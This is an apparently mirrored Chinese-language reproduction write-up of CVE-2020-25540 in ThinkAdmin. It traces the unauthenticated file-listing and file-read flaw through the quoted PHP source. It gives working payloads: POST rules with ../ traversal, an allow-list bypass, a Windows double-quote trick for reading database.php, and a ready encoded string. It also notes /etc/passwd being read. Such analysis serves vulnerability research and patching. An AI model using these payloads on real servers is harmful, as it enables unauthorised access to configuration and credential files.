menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right ( CVE-2020-25540)ThinkAdmin 未授权列目录_任意文件读取 chevron_right ( CVE-2020-25540)ThinkAdmin 未授权列目录_任意文件读取.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    ( CVE-2020-25540)ThinkAdmin 未授权列目录_任意文件读取.md
    8.02 KB / 2021-07-15 20:05:13
        ( CVE-2020-25540)ThinkAdmin 未授权列目录/任意文件读取
    =======================================================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    ThinkAdmin v6
    
    ThinkAdmin v5(只能读取文件)
    
    三、复现过程
    ------------
    
    `app/admin/controller/api/Update.php`存在3个function,都是不用登录认证就可以使用的,引用列表如下:
    
        namespace app\admin\controller\api;
    
        use think\admin\Controller;
        use think\admin\service\InstallService;
        use think\admin\service\ModuleService;
    
    `version()`可以获取到当前版本:`2020.08.03.01`,≤这个版本的都有可能存在漏洞
    
    URL:`https://www.0-sec.org/ThinkAdmin/public/admin.html?s=admin/api.Update/version`
    
    ### 列目录
    
    `node()`:
    
        /**
        * 读取文件列表
        */
        public function node()
        {
            $this->success('获取文件列表成功!', InstallService::instance()->getList(
                json_decode($this->request->post('rules', '[]', ''), true),
                json_decode($this->request->post('ignore', '[]', ''), true)
            ));
        }
    
    直接把POST的`rules`和`ignore`参数传给`InstallService::instance()->getList()`,根据上面的use引用可以知道文件路径在`vendor/zoujingli/think-library/src/service/InstallService.php`:
    
        /**
         * 获取文件信息列表
         * @param array $rules 文件规则
         * @param array $ignore 忽略规则
         * @param array $data 扫描结果列表
         * @return array
         */
        public function getList(array $rules, array $ignore = [], array $data = []): array
        {
            // 扫描规则文件
            foreach ($rules as $key => $rule) {
                $name = strtr(trim($rule, '\\/'), '\\', '/');
                $data = array_merge($data, $this->_scanList($this->root . $name));
            }
            // 清除忽略文件
            foreach ($data as $key => $item) foreach ($ignore as $ign) {
                if (stripos($item['name'], $ign) === 0) unset($data[$key]);
            }
            // 返回文件数据
            return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data];
        }
    
    `$ignore`可以不用关注,他会透过`_scanList()`去遍历`$rules`数组,调用`scanDirectory()`去递归遍历目录下的文件,最后在透过`_getInfo()`去获取文件名与哈希,由下面代码可以知道程序没有任何验证,攻击者可以在未授权的情况下读取服务器的文件列表。
    
        /**
         * 获取目录文件列表
         * @param string $path 待扫描目录
         * @param array $data 扫描结果
         * @return array
         */
        private function _scanList($path, $data = []): array
        {
            foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {
                $data[] = $this->_getInfo(strtr($file, '\\', '/'));
            }
            return $data;
        }
        /**
         * 获取所有PHP文件列表
         * @param string $path 扫描目录
         * @param array $data 额外数据
         * @param string $ext 文件后缀
         * @return array
         */
        public function scanDirectory($path, $data = [], $ext = 'php')
        {
            if (file_exists($path)) if (is_file($path)) $data[] = $path;
            elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') {
                $realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item;
                if (is_readable($realpath)) if (is_dir($realpath)) {
                    $data = $this->scanDirectory($realpath, $data, $ext);
                } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) {
                    $data[] = strtr($realpath, '\\', '/');
                }
            }
            return $data;
        }
        /**
         * 获取指定文件信息
         * @param string $path 文件路径
         * @return array
         */
        private function _getInfo($path): array
        {
            return [
                'name' => str_replace($this->root, '', $path),
                'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))),
            ];
        }
    
    **读取网站根目录Payload**
    
    `https://www.0-sec.org/ThinkAdmin/public/admin.html?s=admin/api.Update/node`
    
    POST:
    
        rules=["/"]
    
    也可以使用`../`来进行目录穿越
    
        rules=["../../../"]
    
    演示站:
    
    ![1.png](./resource/(CVE-2020-25540)ThinkAdmin未授权列目录_任意文件读取/media/rId25.png)
    
    ### 任意文件读取
    
    `get()`:
    
        /**
         * 读取文件内容
         */
        public function get()
        {
            $filename = decode(input('encode', '0'));
            if (!ModuleService::instance()->checkAllowDownload($filename)) {
                $this->error('下载的文件不在认证规则中!');
            }
            if (file_exists($realname = $this->app->getRootPath() . $filename)) {
                $this->success('读取文件内容成功!', [
                    'content' => base64_encode(file_get_contents($realname)),
                ]);
            } else {
                $this->error('读取文件内容失败!');
            }
        }
    
    首先从GET读取`encode`参数并使用`decode()`解码:
    
        /**
         * 解密 UTF8 字符串
         * @param string $content
         * @return string
         */
        function decode($content)
        {
            $chars = '';
            foreach (str_split($content, 2) as $char) {
                $chars .= chr(intval(base_convert($char, 36, 10)));
            }
            return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
        }
    
    解密UTF8字符串的,刚好上面有个加密UTF8字符串的`encode()`,攻击时直接调用那个就可以了:
    
        /**
         * 加密 UTF8 字符串
         * @param string $content
         * @return string
         */
        function encode($content)
        {
            [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
            for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
            return $chars;
        }
    
    跟进`ModuleService::instance()->checkAllowDownload()`,文件路径`vendor/zoujingli/think-library/src/service/ModuleService.php`:
    
        /**
         * 检查文件是否可下载
         * @param string $name 文件名称
         * @return boolean
         */
        public function checkAllowDownload($name): bool
        {
            // 禁止下载数据库配置文件
            if (stripos($name, 'database.php') !== false) {
                return false;
            }
            // 检查允许下载的文件规则
            foreach ($this->getAllowDownloadRule() as $rule) {
                if (stripos($name, $rule) !== false) return true;
            }
            // 不在允许下载的文件规则
            return false;
        }
    
    首先`$name`不能够是`database.php`,接着跟进`getAllowDownloadRule()`:
    
        /**
         * 获取允许下载的规则
         * @return array
         */
        public function getAllowDownloadRule(): array
        {
            $data = $this->app->cache->get('moduleAllowRule', []);
            if (is_array($data) && count($data) > 0) return $data;
            $data = ['config', 'public/static', 'public/router.php', 'public/index.php'];
            foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}";
            $this->app->cache->set('moduleAllowRule', $data, 30);
            return $data;
        }
    
    有一个允许的列表:
    
        config
        public/static
        public/router.php
        public/index.php
        app/admin
        app/wechat
    
    也就是说`$name`必须要不是`database.php`且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:
    
        public/static/../../1.txt
    
    而`database.php`的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过`"`来替换`.`,也就是传入:
    
        public/static/../../config/database"php
    
    对应encode()后的结果为:
    
        34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34
    
    Windows读取`database.php`:
    
    ![2.png](./resource/(CVE-2020-25540)ThinkAdmin未授权列目录_任意文件读取/media/rId27.png)
    
    演示站读取`/etc/passwd`:
    
    ![3.png](./resource/(CVE-2020-25540)ThinkAdmin未授权列目录_任意文件读取/media/rId28.png)
    
    v5连允许列表都没有,可以直接读任意文件。
    
    参考链接
    --------
    
    > https://github.com/zoujingli/ThinkAdmin/issues/244
    
    
    links
    file_download